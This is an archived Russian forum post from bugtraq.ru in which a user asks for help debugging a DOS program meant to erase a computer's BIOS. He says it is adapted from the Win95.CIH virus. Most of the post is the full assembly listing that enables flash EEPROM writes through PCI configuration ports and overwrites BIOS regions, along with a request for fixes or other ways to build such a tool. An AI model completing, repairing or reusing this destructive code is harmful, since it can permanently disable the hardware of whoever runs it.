информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Атака на InternetГде водятся OGRыПортрет посетителя
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / miscellaneous
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Помогите... Стереть BIOS 22.12.01 04:42  
Автор: Stealth! Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Привет, дорогой форум!
У меня вопрос.
Я хотел написать прогу, которая работает под дос и при запуске просто стирает BIOS. Для этого я попытался переделать всем известный вирус Win95.CIH (есть исходник на русском), но прога виснет и ничего не стирает. Я экспериментировал, т.к. есть программатор :-) Привожу текст своей переделки - может, кто найдет, где ошибка... Или посоветует, как сделать прогу с такими свойствами... С уважением, Stealth.

;--------------------------------------------------------------------------
; * Turbo Assembler 4.0 : tasm /m bios *
; * Turbo Link 3.01 : tlink /3 /t bios *
;--------------------------------------------------------------------------
.586P

cseg segment
assume cs:cseg,ds:cseg,ss:cseg
assume es:cseg,fs:cseg,gs:cseg
org 100h
start:


;--------------------------
; Прибить BIOS EEPROM
;--------------------------

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

;----------------------
; Прочитать страницу BIOS
; 000E0000 - 000EFFFF
; ( 64 KB )
;----------------------

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

;----------------------
; Прочитать страницу BIOS
; 000F0000 - 000FFFFF
; ( 64 KB )
;----------------------

mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

;----------------------
; Прочитать дополнительные данные BIOS
; 000E0000 - 000E01FF
; ( 512 Bytes )
; и секция дополнительного BIOS (Extra BIOS)
; может быть записана...
;----------------------

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

;----------------------
; Прибить дополнительные данные BIOS (BIOS Extra ROM Data)
; 000E0000 - 000E007F
; ( 80h Bytes )
;----------------------

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

;----------------------
; Показать и включить основные данные BIOS {BIOS Main ROM Data}
; 000E0000 - 000FFFFF, (128 KB), может быть записана...
;----------------------

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

;----------------------
; Прибить данные об основном BIOS {BIOS Main ROM Data}
; 000FE000 - 000FE07F, (80h Bytes)
;----------------------

mov ah, 0e0h
mov [eax], al

;----------------------
; Спрятать страницу BIOS
; 000F0000 - 000FFFFF,(64 KB)
;----------------------
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

;----------------------
; Выйти в DOS
;----------------------

mov ah,4ch
int 21h

;--------------------------
; Разрешить EEPROM для записи
;--------------------------

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

;--------------------------
; Ввод/вывод в EEPROM
;--------------------------

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

;--------------------------------------------------------
; Динамические данные
;--------------------------------------------------------

FileNameBufferSize = 7fh
FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer

;----------------------------------------------------------------------------


cseg ends
end start
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach